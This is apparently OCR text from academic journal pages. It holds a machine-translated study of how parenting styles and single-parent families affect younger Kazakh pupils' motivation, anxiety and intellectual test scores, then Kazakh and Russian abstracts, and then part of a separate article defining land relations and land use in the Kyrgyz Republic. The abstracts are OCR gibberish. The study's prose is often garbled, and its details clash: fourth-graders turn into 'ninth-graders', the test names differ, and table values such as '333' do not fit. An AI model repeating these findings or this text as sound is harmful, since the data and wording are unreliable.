behavior. Children know borders legal, but thus feel safe and know that they are desired and loved.

3. Moreover, probably, the most critical variable: parents of the children advanced at school con-
tinuously communicate with them. They read to them books, attentively listen to them and regularly talk
to them. Parents maintain the interest of children in knowledge and research and serve as role models. It is
necessary to add that explanation parents of the advantage of preparation of lessons, and they are insisting
on it are also important factors of success of children at school. In general children, as a rule, well study if
parents give them support and help the councils. So, the atmosphere of support is inherent practically in all
families of natives of Southeast Asia.

Parents in these families very much highly appreciate education and persistent work and believe that
their children will be able to achieve success in any activity if show determination and persistence (Kaplan
et al., 1992). In this way, Afro-American parents which children will study at school, also highly appre-
ciate education and encourage the development of self-esteem and belief in the forces and abilities. At the
same time, they assume that their child can face at school racial prejudices, and try to prepare him for such
situations (to Patterson, Kupersmidt & Vaden, 1990). Poor pupils can be long and to families with an
average and high prosperity. Children whose mother and the father pay too much attention to children's
entertainments, games or real problems, as a rule, study worse than what parents highly appreciate know-
ledge and education (Kaplan et al., 1992). In families where children raise with high growth, but not with
high self-esteem, attentions to the identity of the child (his interests, tastes, the relations with friends) are
combined with sufficient insistence. School progress is the critical criterion of an assessment of the child
as persons from adults and contemporaries. The attitude towards itself as to the pupil considerably is
defined by family values. The child meets all worry of his parents — maintenance of prestige («And who
else did get the five?"), obedience ("Did anyone try to abuse you today?"). In consciousness, parents show
more interest not the educational, but household moments in his school life (" Is it warm in a class?",
"What did you eat on a breakfast?"). Rather an indifferent question: "What was at school today?" will lead
to the corresponding answer sooner or later: "Anything special,” "Everything is normal." Parents also set
the initial level of claims of the child, on what it applies in educational activity and the relations.

The family — the most widespread type of social group, the leading cell of society in which is born,
formed, develops and the most of the time during life is the person. The family relations usually define
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psychology and behavior of the person; therefore, the family is of particular interest for social and
psychological research. The typical modern family in the developed European countries consists of 2 —
6 people: the husband, the wife, children and the nearest relations on maternal and fatherly lines —
grandmothers and grandfathers. The fundamental purpose of a family is the satisfaction of public, group
and individual requirements. Being a human cell of society, the family satisfies a number of his major
requirements, including in the reproduction of the population. At the same time, it satisfies the personal
needs of each member, and also all-family (group) requirements. From this also the primary functions of a
family follow: reproductive, economic, educational, communicative, organizations of leisure and rest.
Between them, there is a close interrelation, interpenetration, and complementarity. In a family, both
adults and children are brought up. Especially the importance has its influence on a younger generation.
Therefore the educational function of a family has three aspects. The first is formation of the identity of
the child, development of its abilities and interests, transfer to children by adult family members (mother,
the father, the grandfather, the grandmother, etc.) The second aspect is the systematic educational impact
of the family collective on each member during all his life. The success of the performance of this
function depends on the educational potential of a family. It represents a complex of the conditions and
means defining pedagogical opportunities of a family. This complex unites material and living conditions,
number and structure of a family, development of family collective and character of the relations between
his members. It includes the ideological and moral, emotional and psychological and labor atmosphere,
life experience, education and professional qualities of parents. The personal example of the father and
mother, the tradition of a family are of great importance. It is necessary to consider nature of communi-
cation in a family and its communication with people around, level of pedagogical culture of adults (first
of all mothers and the father), the distribution between them educational duties, the interrelation of a
family with school and the public. Individual and essential component are specifics of the family
education process. The family plays the leading role in an intellectual child development (the American
researcher Blum revealed that distinction in coefficient of intellectual development of the children who
grew up in safe and dysfunctional families reaches twenty points), and also influences the relation of
children, teenagers and young men to study and in many respects defines its success. At all stages of
socialization the educational level of a family, interests of her members affect intellectual development of
the person, what layers of culture it acquires, on the aspiration to the continuation of education and self-
education. Thus, parents play an essential role in child development and the more so in psychological
readiness for school training. If parents accept the child, pay him enough attention, divide its interests, are
a positive example for imitation, then the child develops thanks to that entirely it is inadequate conditions
for development. If parents do not accept the child, interests, hobbies, thoughts, and feelings of the child
seem to the adult frivolous, and he ignores them, the child does not see sense and aspiration to positive
actions which could promote more favorable psychological readiness for school training. For the small
child, the family is the whole world in which he lives, works, makes discoveries, learns to love, hate,
rejoice, sympathize. Being her member, the child enters specific relations with parents which can render
on it both positive, and negative influence. Thereof the child grows or benevolent, open, sociable, or
disturbing, rough, hypocritical, false.

Nowadays the institute of a family endures the crisis, but, despite it, the family remains the stable,
reality is bringing up and promoting disclosure of potential opportunities for children. According to
Andreyeva, Gulyga (1991) the crisis phenomena in a family are shown, first of all, in its instability. Insta-
bility of a family leads to the growth of incomplete families, reduces parental authority, is reflected in
opportunities of formation of families, on the health of adults and children. Parenting is both a biological
and a social process (Lerner, Castellino, Terry, Villarruel &McKinney, 1995). Parenting is the term sum-
marizing the set of behaviors involved across life in the relations among organisms which are usually
nonspecific, and typically members of different generations. Thus, parenting is a complicated process,
involving much more than a mother or father providing food, safety, and succor to an infant or child.
Parenting involves bidirectional relationships between members of two (or more) generations (Ford &
Lerner, 1992). Scoblik (1996) in her research found the connection between a parent’s emotional attitudes
and cognitive skills.

Research Questions. The role of the father, mother, and child is established according to public
requirements and ideas of values prevailing in society. If the primary attention of ideology goes only to the
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husband and the father, mother retreats into the shadow, and her status is equated to the child status. On
the contrary, if society is interested in the preservation of health and education of the child, attention goes
to mother who becomes the main character.

According to scholars, paternity is not an obligatory component of a family; it expresses belonging to
a particular type of culture, but not biological function instead. Kohn (2006) divides human cultures on
"fatherly," (in which the father plays the main role), and "fatherless" (in which the man mostly acts as a
male, not as the father). "Fatherless" of culture is characterized by more prominent male aggression, a sharp
antagonism between men and women, less cordial relations between all family members (Kohn, 2006).

From centuries main duty for a male is getting food for females and children (hunting). In all known
human societies everywhere in the future world man acquires that when he grows up to a full member of
society, he will have to provide food to the woman and her descendants. However the degree of social
responsibility of the man for life support of his family depends on various social conditions, but usually
decisive the aspiration of the man will provide wellbeing of own children though there are exceptions.

According to a report from the Agency of Statistic (Kursiv, 2017), the quantity of divorces in last five
years is rapidly growing. Every third marriage in country will be finished by divorce. The following list of
disturbing symptoms shows that not everything is safe in a condition of the Kazakhstan family:

- every fifth couple living together isn't married;

- every seventh family — incomplete;

- in every twelfth family there are stepsons or stepdaughters;

- the woman is at the head in 90 percent of incomplete families;

- 30 percent of the Russian families are incomplete, for comparison: 20 percent of the Kazakh and
5 percent of families of other ethnic groups are incomplete.

Purpose of the Study. The influence of the parental style of education is the purpose of our study.
We assume that condition of upbringing affects on cognitive abilities of students which estimated by

Research Methods. The total number of participants is 48 pupils in 4 grades and their parents. In the
research part of the work with children we used the following methods:

- "Test questionnaire of the parental relation of Varga, Stolin."

- "Determination of the level of school motivation." Schubert.

- School Test of Intellectual Development (ShTIQ).

- The Philip's school anxiety test.

Findings. During experimental research, we divided participants into two groups Experimental
Group (EG) and Control Group (CG). Participants from Control Group have full families (both parent), in
Experimental Group one of the parents is exist (incomplete families).

As a result of the statistical analysis in the SPSS 21 program, we revealed the positive correlation
between EG and data of the ShTUR test.

From ninth-graders it was required to show abilities in finding the essential general sign, to bring
concepts under a specific category. The most often found mistakes were: substitution of a general word
synonymic, relative concept or, on the contrary, very sweeping categorical generalization. Sometimes,
these mistakes are caused by the same reasons which were described above: not identification of concepts
as a logical category, and still initially — the weak level of awareness, a conceptual stock as it is impossible
neither to analyze nor to classify, to generalize concepts which sense isn't precise.

From the obtained data it is visible that in Experimental Group participants showed a low level of
school motivation of 33,3%, these children attend school reluctantly, prefer to skip classes. At lessons
often are engaged in foreign affairs, games.

16,6% of examinees showed the high level of school motivation. They are interested in education.
Examinees of this group have an informative motive, aspiration most successfully to fulfill all require-
ments imposed by the school. Pupils accurately follow all instructions of the teacher, are conscientious
and responsible, actively worry if receive unsatisfactory estimates.

1. 8,4% participants showed good school motivation. Examinees successfully coped with an
educational activity.

2. 25% of examinees somewhat safely feel at school, however, go to school more often to com-
municate with friends, with the teacher.

3. 33,3% participants have a low school motivation. Such children experience severe difficulties in
the educational activity.
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Table 1 — Correlation analysis

Group Analogy Generalization
Awareness Pearson
975(**) 982(**) 953(**)
Correlation
Sig. (2- tailed) .000 .000 .000
N 48 48 48
Classification Pearson
934(*%*) 945(*%*) 942(*%*)
Correlation
Sig. (2-tailed) .000 .000 .000
N 48 48 48
Generalization Pearson
928(**) 932(**) 1
Correlation
Sig. (2-tailed) .000 .000
N 48 48 48

** Correlation is significant at the 0.01 level (2-tailed).

Table 2 — Determination of level of school motivation

Level of school motivation EG, % CG, %
High level of school motivation, educational activity. 16,6 50
Good school motivation 8.4 25
The positive relation to school, high interest to extracurricular activities 25 17,6
Low school motivation 333 8,3
Negative attitude to school 16,7 7,1

Some of the participants (16.6) showed a negative attitude toward school. Examinees test severe
difficulties in training: they do not cope with educational activity, have problems in communication with
schoolmates, in a relationship with the teacher. They quite often perceive the school as the hostile
environment stays in which for them is intolerable.

Participants of CG showed the following results:

- 50% of examinees showed the high level of school motivation,

- 25% good school motivation,

- 8,3 low school motivation,

- 16,7% negative attitude to school,

The formation of the child of the motivational sphere plays a vital role in his success in the
educational activity. Existence at the child of motive is reasonable to fulfill all requirements imposed by
the school, to prove to be from the best party forces it to show activity in the selection and storing of
necessary information.
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Table 3 — The comparative estimates of school anxiety

Grou General School Social The Need for Success The Fear “Uyat bolady”
P Frustration Stress Achievement Frustration of Self-expression stress
EG 7.9 7.9 5.8 5.1 3.6
CG 3.1 2 2 3.75 3.6

According to the results of the test, 80% of the examinees from EG demonstrated an increased level
of school anxiety. In CG 56% of examinees showed the average level of anxiety. Thus, we revealed the
fears prevailing at all examinees. These are such fears as fear not to meet expectations of people around,
problems and fears in the relations with teachers, fear of a situation of examination. Also at children, low
physiological resilience to stress is revealed.

It is possible to draw a conclusion that children have fears, connected with various forms of life in
school. Also existence of fears somewhat emotional a condition of the child against which his social
contacts (first of all with contemporaries), there are negative emotional experiences of the situations
interfaced to need of self-disclosure, presentation to another, demonstrations of the opportunities; negative
attitude and experience of alarm in situations of check (primarily public) knowledge, achievements,
opportunities; the general negative emotional background of the relations with adults at school reducing
success of training of the child; the features of the psychophysiological organization reducing adaptability
of the child to situations of stress character.

Table 4 — Comparative data of Varga and Stolin test

Type Acceptance/ Cooneration Symbiosis Authoritative Hyper The Little
of relationship Rejection of child P Y Socialization Loser

EG 8.4 8.4 41.6 25 16.6

CG 25 33 25 8.3 8.3

The results of the study show that most of the parents in the Control Group (CG) accept their kids.
The entirely different situation is in Experimental Groups where most families tend to reject their
upbringing.

According to conducted research and compared results among two groups it is possible to tell that
most common style of parental relation is “symbiosis” (41.6% in EG and 25% in CG), which means the
parental tendency to come into close, intense emotional contact with the child, to participate in all trifles
of his life.

16.6% of participants in EG demonstrated a type of “bad” family relationship known as parental style
“little looser.” It is rejecting with elements of an infantilization and a social invalidation - emotional
rejection of the child, the low value of his individual and personal needs and values. Growing up in
“incomplete family” is a critical factor of difficulties in adolescent socialization.

Family life — the social category in which we observe all features of the interpersonal relations -
conflict situations and their decision, difficulties in communication. The many factors have an impact on
wellbeing in a family. Family education, being the leading factor of socialization of the personality, acts as
defining and information to the child in his search for problem-solving strategy in stressful life situations.
A family one of the main factors which are having a massive impact on the child: vital self-determination,
physical, mental and social development. Therefore it is necessary to improve the education of children in
a family and to warn the pedagogical mistakes of parents. The knowledge of typical features of family
education will help to avoid any misunderstanding in the relationship with own children. In the education
of the child of the younger school-age interaction of a family and school which joint activity promotes the
development of qualities of his personality is necessary. It is possible to reach it in the course of direct
interaction of a family and school, enrichment of parents necessary knowledge of age and psychological
features of children by education and prevention, identification of shortcomings of family education and
its possible correction. In our study, we analyzed theory and methodological approaches of family
education problem; studied features of the progress of primary school students and revealed the factors
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influencing it. Various reasons cause the reasons for the unsatisfactory progress of younger school
students. Family education belongs to the group of social factors which, eventually, lead to the psy-
chological reasons. Also, we conducted empirical research, analyzed results, drew conclusions.
Uneasiness is revealed at 36,6% of children, in the selection of school students. We defined that family
factors cause the uneasiness of children of primary school age. The low self-assessment makes children
feel uncertain, lonely and unprotected. Even child is gifted and talented but doesn't feel family support.
The low level of a self-assessment is the primary predictor of excessive suspiciousness, uneasiness,
shyness, uncertainty in itself. We established interrelation of styles of the parental relationship with the
progress of school students. Acceptance style positively influences progress, rejection style positive

n.n

influence on the progress of style "cooperation", "authoritative hyper socialization" style is negative, also
revealed influences progress negatively, excessive control of the child causes opposite (adverse) effect of
its success in study, "little loser" style also has negative impact. The perception of the child as
"unsuccessful,”" belittling of its advantages and abilities negatively affects the progress of the child. We
found out that success level in the study depends on such parameters as uneasiness, the school student's
self-assessment, the style of the parental relationship in the school student's family. At the same time style
of the family, the relation has a direct impact on the development of uneasiness of the younger school
student. Thus, destructive types of family education have the negative impact on the progress of children
of primary school age.
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BAJIA — ATA-AHA KATBIHACBHI KIIII MEKTEII OKYIIBIJIAPBIHBIH
AKAJTEMUAJIBIK KETICTIKKE KETYIHIH HEI'I3I'TI ®PAKTOPBI PETIH/IE

Annoranus. JKorappina aranraH MakajiaJa Killli MEKTEN OKYIIBUIAPBIHBIH OKY JKETICTITiHIH Mocelenepine
Tanmay xKyprizumres. OKy oHe TopOueney/e MPoLecCiHe )KeTICTIKKe )KeTy IMeJarorTapAblH, Oananap MEH OJIapIbIH
aTa-aHAJNAPBIHBIH Oip TyTac JKETICTIriH aHbIKTaiinel. OKyna jkoHe TOpOWe MPOIECCIHAE KETICTIKKE KETy Typaibl
KaTBICYIIBIIAPABIH €H OonmMmaraHaa Oipeyl TaObIc oHE KyaHBIII ce3iMiH OachIHAH KeIlipreHaep FaHa aiTa amajisl.
[cuxonorust skoHe MeAaroruka ailMarbIHIaFbl KOITEreH 3epTTEYIIUIEpl aTanfaH 3epTTey TaKbIpPbIObl a3 3epTTeln-
TeHJIITIMEH Ha3apblH ayAapbll OTBIp. MyHBIH e3eKTimiri OimiM Oepy »Kyieci MpaKTHKAachIHAAa a3 XKY3ere acyblHOa
00J1bII OTHIP. Byt acipece OKYIIBIHBIH Ka3ipri MEKTENTe OKyFa IMCUXOJIOTHSUIIBIK MaibIHIBIFBI MOCEIIECIH XKoHe Oaa-
HBIH OKYJla JKETICTIKKE KETY/IIH/er1 aTa-aHaHbIH POJIIH aHBIKTaWbl. Makangama Killli MEKTeN OKYIIBICHIHBIH OKY/Ja
KETICTIKKE KETYIHIH 9JICYMETTIK-TICHXOJOTHSUIBIK MAPTHI PETIHAC 0TOACHIHA KYPIi3UITeH SMIMPUKAIBIK 3€PTTEYIIep
HOTIDKEINepi OepiireH. 3epTTeyepACH aHbIKTAIFaHbl, OTOACKIHIAFEI Oaia XOHE aTa-aHa apachIHAAFbl ©3apa KAThIHAC
OayaHbIH JKaJIbl IICHXOJIOTHSUIBIK JKaFJaiiblHa YJIKEH OCEpiH, COHBIMEH Oipre MeKTenTe OajaHbIH OKY JKETICTIiK
JIeHreifiHe oHe OKY YArepiMiHe TUTI3ETiH ocepi aHBIKTAIBI.

Tyiiin ce3aep: 1Q, MoTHBaIus, Killi MEKTEI OKYIIBICH], aTa-aHa KaTHIHACBIHBIH CTHII, OiniM Oepy.

AL A. Kapaﬁanmxa', XK. A. Mafmaﬂrannenaz, I'.b. CaTblraJmeBa',
T. A. AXMeTaJIHHa3, Jamrun MaxaMMazum4

' AKTIOOHHCK M pEeTMOHANBHBIN rocyqapcTBeHHbIH yHuBepceuTeT uM. K. XKybanosa, KazaxcraH,
2YHI/IBepCI/ITeT Baumea, Axrooe, Kazaxcran,
*I'KKII AKTIOGHHCKIIH KOJLIEK cepBuca, Kazaxcran,
*BakuMHCKHii TOCY[apCTBEHHBII yHUBEpCUTeT, Baky, AsepGaiimkan

JETCKO-POIUTEJILCKUE OTHOINEHUSA KAK KJTIOUEBOM ®AKTOP
AKAJIEMAYECKOM YCHEITHOCTH MJIAJIIINX IIKOJIbHUKOB.

AHHoTanmsi. B craThe mpoBeneH aHaIHM3 NPOOJIEMBl YCHENIHOCTH OOy4YeHHS MIIaJIIHMX IIKOJbHUKOB.
VYenemHocts 00y4eHHS M BOCHHMTaHUS B IEJarorM4ecKOM IIPOLeCCe B ILEJIOM ONpeNessieTcs YCIEIIHOCTBIO
[IeJaroros, AeTted u ux poauteneil. OO0 ycHemHOCTH mpouecca 00yYeHUs M BOCIIUTAHUS CIEAyeT FOBOPUTH TOJIBKO
TOTrJAa, KOrjga XoTs 6])1 OAWH U3 €0 YYAaCTHUKOB IEPECIKUBACT WJIU IMCPEKUIT UYBCTBO PaJOCTU U yCII€Xa. }laHHaH TEMa
HCCJICAOBAHUA MPUTATMBACT BHUMAHUE MHOTHUX HCCHC}IOBaTeHeﬁ B O6J'laCTI/l TICUXOJIOTUN U TIE€AArOruKu U U3y4dcHa
He3HayuTelnbHO. Ee aKkTyalbHOCTh 3aKiIouaercsi emie M B TOM, 4To mnpoOiema, MoAHMMaeMmas HaMH B 3TOM
UCCIIEOBAHNH, TaKKe MMEET MAIyl0 pealM3aluio B MpakTHKe oOpasoBaHMs. OCOOEHHO 3TO Kacaercsl MpolieMbl
MICUXOJIOTUYECKOM TOTOBHOCTH K OOYUYEHHIO B IIKOJIE COBPEMEHHBIX IIKOJIBHUKOB M BBISBICHUS POJIM POAMTENCH B
npolecce yCnenHoro o0y4yeHus nereil. B cratbe mpencTaBieHbl pe3yibTaThl IMIMPUYECKOTO UCCIIEI0BAHUS CEMbH,
KaK OJHOTO U3 COLHAIbHO-TICHXOJOTHYECKUX YCIOBHH YCIEIIHOCTH 00y4YeHHs MJIAIUIMX IIKOJIBHHKOB. BBIsABIEHO,
YTO B3aMMOOTHOLICHHS POJAUTENICH M JeTeil B CeMbe MMEIOT OOJBbIIOE 3HAYCHHE AJIsi OOLIEro IICHUXOJIOTHYECKOTOo
COCTOSHMU pe0eHKa, a Takke OKa3bIBAIOT 3HAYMTEIBHOE BIMSHHME Ha YCIIEBAeMOCTb U Ha YPOBEHb YCIICIIHOCTH
o0OyueHust peOeHKa B IIKOJIE.

KunroueBsie cioBa: 1Q, MoTuBaLys, MIaaIIMe IMKOJIBHUKH, CTHIIb POAUTENBCKOTO OTHOLIEHHs, 00pa3oBaHUeE.
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THE DEFINITION AND ESSENCE OF LAND RELATIONS
AS AN ECONOMIC CATEGORY

Abstract. The basis for the formation of efficient agricultural production is the improvement of land relations
and the formation of land use system, “adequate to market economy”. Society is in urgent need of transition to
fundamentally new type of economic growth - intensive growth of resource-saving type, based on the careful use of
natural resources, to achieve ecological balance. Special, outstanding value in the life of society has the earth by
itself. It is an essential condition of human existence; an indispensable means of satisfying the most varied needs -
economic, social, and aesthetic, etc. Nevertheless, use of land usually refers to its operation in the sphere of pro-
duction. Rational use of land resources is the great importance in the economy of agriculture and the country as a
whole. In the sphere of human production, the role of land is quite important. In industry, transport and urban
planning it is used as foundation, spatial operational basis for the location of production. Land becomes more
important in the extractive industry, where it serves as the source of raw materials. The process of production doesn’t
depend on the quality of the soil, topography and many other landproperties.

Keywords: land relations, land resources, land ownership, land protection, land plots, land alienation, land
cadaster, land use, market economy, ecological balance.

Management of land resources is one of the functions of public authorities, which, acting on behalf of
the state, realize the powers of authority, represents the interests of legal entity, state ownership on the
earth. According to Seifullin Zh.T.: “Management in the field of use and protection of lands represents the
activity, directed to the organization of rational use and protection of the earth as a component of the
environment, means of production, spatial and operational basis, an object of the property relations” [1, p.
99]. One of the main objectives of management of land resources is the correct distribution of land
resources for their rational use. In the relations on acquisition, use and alienation of the land plots in which
the state doesn’t participate the minimum control over the concrete land plot is implemented through the
establishment, concerning concrete purpose, and already depending on use purpose of public authorities,
with the opportunity of direct participation in the relations of this land plot. In the relations on granting the
land plots the public authorities are directly involved. “Granting the land plots is the ordered activity of
interested persons and executive authorities of appropriate level, which is carried out in the procedural
form and other subjects, directed to establishment of the property law and other branches of the legislation
for the concrete land plot” [2, p. 365]. Granting, unlike other bases of emergence of the law for the land
plot, is possible, only according to the decision of public authority.

As T.S. Bobushev and K.O. Otorbayevnoted: “Correct in essence and determination of competence
of each body, accurate in official form is one of the indispensable conditions of the perfect organization of
management personnel, harmonious work of all its links, increases in responsibility of each body for the
charged business” [2, p. 145].

According to N.M. Omarov, “the competence of governing body includes not administrative
functions, which it carries out, areas of jurisdiction in which sphere are the acts, not acts of management,
which it issues, and no other forms of activity, but a duty (before the state) and the right (in relation to
objects of management) to carry out the specified administrative functions” [3, p. 14].
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Basis of formation of effectively functioning of agricultural production is improvement of the land
relations and formation of system of land use, “adequate to the market economy”. Society is in great need
in transition to essentially new type of economic growth: to the intensive growth of resource-saving type,
based on careful use of natural resources, on achievement of ecological equilibrium. The dependant
relation to the nature has put the habitat of activity on a degradation side. As a result we see the surroun-
ding environment, which being a source of factors of production and means of life, loses the qualities of
self-restoration, and the economy faces with unforeseen and often acute contradictions, unpredictable on
the consequences, between the nature and society.

In the life of society the earth has special, outstanding value. It is the most important condition of
existence of mankind, irreplaceable means of satisfaction of the most different requirements: economic,
social, esthetic, etc. However, speaking about use of the earth, usually mean its functioning in the sphere
of production. Rational use of land resources has the great importance in rural economics and in our
country, indeed. In the spheres of production activity of the person the role of the earth isn’t identical. In
the industry, transport and city communicationsit is used as the base, spatial operational basis for the
production placement. More particularly important the earth becomes in the mining industry, where it
serves tothe quality as the source, raw materials. The process of production and receiving production
doesn’t depend on the quality of the soil, relief and many other properties, inherent in the earth.

In agriculture receiving production is connected with a qualitative condition of the earth, with
character and conditions of its use. It is the important productive force, without which the process of agri-
cultural production is inconceivable. The earth in agriculture functions as an object of the labor, when the
person influences the top horizon - the soil, and creates all the necessary conditions for growth and deve-
lopment of crops. At the same time the earth is also an instrument of labor, when at cultivation of plants
mechanical, physical and biological properties of the soil for receiving agricultural production are used.
Therefore, the earth becomesactive mean of production in agriculture. Its acts as a necessary material,
prerequisite of process of work, one of the important material factors of the production. The earth is
special, original, irreplaceable and non-reproducible mean of production in the agriculture of our country.

Land resources in agriculture have a number of specific features, which significantly distinguish them
from other means of production and exert a great influence on agricultural production economics. The
earth is a product of the nature. Unlike other means of production, which are the result of work of the
person, the earth represents a product of ancient centuries, natural-historical development of the nature.
Only the fertility of the top layer of the earth (soil) partly depends on results of work. Thus, the earth is
artificially non-reproducible. The earth is territorially limited. From the economic point of view it means
not so much limitation of a land surface, many insufficiency combination of the properties and envi-
ronment are favorable for agricultural production.

The earth, unlike other means of production in agriculture, can’t be replaced. Separate grounds aren’t
uniform in the fertility. One of them contain more nutrients, others are better provided with moisture,
anothers have absolutely specific structure of the soil, etc. An equal investments in rural area receive
various quantity of the production.

Land resources can be used only in their natural place. The earth can’t be moved from one place on
another whereas use of the majority of other means of production aren’t connected with constancy of the
place. The diversity of use of the earth means, that a large number of different types of crops are
cultivated. The earth in the case of the correct use doesn’t wear out, become bad, week and improves the
property and crop [4, p. 23].

All the features of the earth means the production in the theory and practice of the rational agri-
culture. The person can actively influence fertility of the soil. Level of this influence is defined by the
condition of development of productive forces, their technological application in agriculture. Processes of
liberalization of economy almost in all Commonwealth countries have begun practically at the same time.
Rates and scales of this process differ with the prevailing forms, in the condition of commercialization and
privatization of the state enterprises, liberalization of the prices, domestic and foreign trade, restriction of
the role and influence of the central economic and branch departments, their formal reorganization or
elimination. These directions of the reforms were represented and declared as the basic course of
economic transformations, the main condition in the transition from the centralized planned economy to
the marketeconomy.
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However, full privatization of economic activity hasn’t happened in one of the Commonwealth
countries.Each state has some extent functions of the direct participationin the process of reproduction,
influence and control in the main spheres of economy, in the distribution and redistribution of property,
financial and material resources, management of the foreign trade and investment streams.

The reasons of preservation of the positions of the state in economy are interpreted by the different
ways. Preservation of high extent of its nationalization with strong heritage of the centralized planned
management and inability of private and corporate business, without the directing role of the state and its
direct financial support, economic legislation, its insufficient market orientation. The theories of national
mentality, public rejection of a private property on means of production, collectivist attachments of the
most of the population, traditional dependence on clan and paternalism.

However, most often the reasons of incompleteness and insufficiency of liberalization of economic
activity contact mistakes and miscalculations of reformers, lack of political will and socially recognized
ideology of market reforms. Each of these reasons were shown in all Commonwealth countries (CIS), they
have significantly limited introduction and development of free market forces, formation of the self-
regulating economy.

Before passing to the questions of land use and the land relations, it is necessary to specify
interpretation of such terms as: “land resources”, “land use” and “efficiency”.

Land resources mean the lands, which borders are on the territory of the country. Term “land
resources” is many-sided and multiple-valued. It is obvious taking into account the practical requirements
of society in the view of ecologic, economic, legal and technological aspects, and also concrete historical
one. At the same time, the land resources always must to analyze the immemorial vital resources of man-
kind. The main criteria of inclusion of the territory in category “land resources”are the level of its study,
economic requirement, expediency and technical capability of use. In this case the concept “land re-
sources” means a certain part of the territory, which shows the development of productive forces and
public relations as the prerequisite of any production,spatial operational basis, the storeroom of raw
materials or means of production [5, p. 351].

Before establishing the differences in understanding in the above-named sources of the term “land
resources”, it is necessary to give definition to the concept “resource”. We consider that this definition
incomplete and is considered only from the positions of land resources of the state.

Therefore this part of definition demands specification. In relation to our subject researches on these
criteria it is possible to exclude land resources of territories which aren’t used today. For example,
mountain pastures glaciers, the massif, and the settlements of rural territories. These territories can also
drop out of category of the land resources.

Thus, land resources can be treated as follows:

1) the lands, which are in borders of the territory of the Kyrgyz Republic;

2) the lands, which are in administrative borders of subjects of municipal bodies;

3) the land plot of economic entity of various form of ownership and legal forms, belonging to them,
according to the current legislation, used by them, according to their purposes.

The relationships between land use, land price, and land value show the relationships between
authorities of the country and farmers. The variables affecting land use functional structure of the city
namely: geographical, economic, urban, laws and legislation, political, environmental, social, public
interest, and demographic variables. Finally, the integrated value model will be developed in the different
countries very special. The value model is a mathematical based model for simulating future land use,
especially in valuable lands.

Definition the land plot also needs some specification. The land plot is a part of the land surface,
including soil fertile a layer, having fixed borders, the area, location and legal status. The land plot is the
part of the land surface, having the closed borders, the fixed location, the area and legal regime.

Land use considered one of the essential factors, influencing the pattern of urban development. The
limited space within cities combined with the growing space requirements for various purposes outlines
the framework of the struggle for land for different purposes and by different vested interests. The
difficulties in land use planning result from the contradiction between the rapid technological changes,
which influence urban growth and the process of planning of land use. Land use in the city has a unique
structure, mostly due to the interactions between its spatial configuration and functions, developing into a
patchwork of functional regions of different forms [6, p. 118].
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Mentioned above definitions of the land plot represented the land plot as the part of the land surface
having the closed borders, fixed location, area, legal status and cost. Governments use lands, planning to
manage the development of land within their jurisdictions. In doing so, the governmental unit can plan for
the needs of the community, while safeguarding natural resources. There is the systematic assessment of
land and water potential, alternatives for land use, and economic and social variables in order to select and
adopt the best land use options. Through this process, governments need to use some tools like computer
and mathematical models to guide land use to the optimal use.

Common fault of the above-stated definitions is considered only as an independent real estate object.
In practice communication of the land plot and the real estate objects, which are on this site is indis-
soluble. Below we show two definitions, which eliminate this “gap”.

Some authors understand a part of the real estate in the form of the site of the territory, defined in the
legal description of this real estate as the land plot. They understand the description of the site and a real
estate object, on which they can be unambiguously identified, accepted for judicial proceedings as the
legal description. The land plot is a part of the Earth’s surface (including a superficial soil layer), which
borders are described and certified, in accordance with the established procedure.

Thus, in our opinion, the land plot is the part of the real estate in the form of a part of the land sur-
face, having the closed borders, the fixed location, the area, legal status and cost considered together with
the objects, which are over and under this land plot.

Land use on the terms of unlimited (continuous) use of the earth - on the property right and on the
terms of temporary use by the earth - rent can act as use of the land plot.

A number of authors understand granting as land use in accordance with the established procedure in
continuous or temporary use to the citizen or the legal entity of the land plot. Consequently, the different
variables constituting the list of variables affecting land use functional structure of the city, based on all
the previously introduced concepts. The variables that are affecting land use, land value and other
variables are classified into geographic, environmental, economic, social, urban, public interest, laws and
legislation, demographic, political variables. We almost wrote about these problems in the beginning of
our article.

Land use supposes using the enterprises, collectives, and individuals, according to the order,
established by the law, conditions and forms. Land use is the site of the territory in the established borders,
provided by the state, according to the land legislation to the certain land user for a definite purpose. Land
Code of the Kyrgyz Republic has fixed the conditions, the status of the persons, owning and using the land
plots on the right of continuous (term less) use or on the right of rent. Thereby legislators have expanded
the concept “land user”, having included signs of “land owner”, according to the positions of the current
legislation have formulated this part of definition incorrectly.

Land value is one of the fundamental tools used in urban management and the quality of the urban
environment as it has an essential role in evaluating and improving the land needs. A group of urban
variables (roads, traffic network, buildings and public services) has a great relation with the land value as
a result of the exchanging relations among them. As well as the modality of developing these areas as
every group contains a set of subsidiary variables that interact with each other to change the land value.
Subsequently, we can distribute the urban variables into three significant groups: the roads and trans-
portation network, development density, and public services in the area and land uses.

“Land use” has double contents. On the one hand, it means the economic disposal or at the property
of individuals, collectives, organizations, enterprises or states, in general land use. On the other hand, the
concept “land use” means the use of the earth, regulated economic and precepts of law as general working
condition in all spheres of human activity and the production in rural and forestry. In this sense the
concept “land use” includes forms, the right and types of the economic operation with the earth as the
natural resource.

As accessory of the earth, the property relation directly influence the amount of land use, conditions
and the nature of use of the earth so far as the semantic shade of the concept “land use” of each case is
defined by a context. Economic activity of the person is various that lead to allocation of different types of
land use. Certain requirements are imposed on each type of land use.

Unlike many other land use models, the objectives of the value model is not to forecast the dimension
of land use change but rather to integrate and allocate future land use claims from various sectorial
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models. The results of the model should not be interpreted as a fixed prediction for a particular location
but rather as probable spatial patterns. The land use model employs the equilibrium principle to balance
the need for various land use functions with the supply of suitable land.

In relation to our subject of a research we will mean use of the land plot belonging on the property
right or rent to economic entity (the legal or natural person) according to purpose and a legal regime of use
by land use.

There are the different kinds of the earth: agricultural; industrial; town-planning.

The land use model is mathematically based model that simulates future land use and which offers an
integrated view on all types of land use. It deals with geographic, economic, urban, social, environmental,
public interest, political, demographic, laws and logistic variables, usually distinguishing seven or more
different land use categories, residential, commercial, educational, medical, social, recreational and
cultural.

If process of production in the industry doesn’t depend on the condition of fertility of the soil, quality,
natural and many other properties inherent in the earth, then in agriculture process of work and creation of
products is connected with these properties of the earth, with its qualitative condition, the nature of use.
Land has special characteristics compared to other economic good: the supply of land is fixed (with the
exception of land reclamation), every parcel of land has a fixed area, which is a unique property, and the
use of a parcel of land affects the use and value of adjacent parcels. Spatial distributions of land uses are
not linked to the primary principles of the site theory, but otherwise is connected to a number of factors
which have similar direction in general, including many variables working together and are different in
their impact and direction; such variables affect and are affected by each. Land market is not transparent
and market information is often hard to get. Moreover, other values than the market price for land can
exist, like the social land value or non-revealed values as a result of zoning restrictions. Land value with
all its economic, social, and urban dimensions control the spatial and functional change of land use.

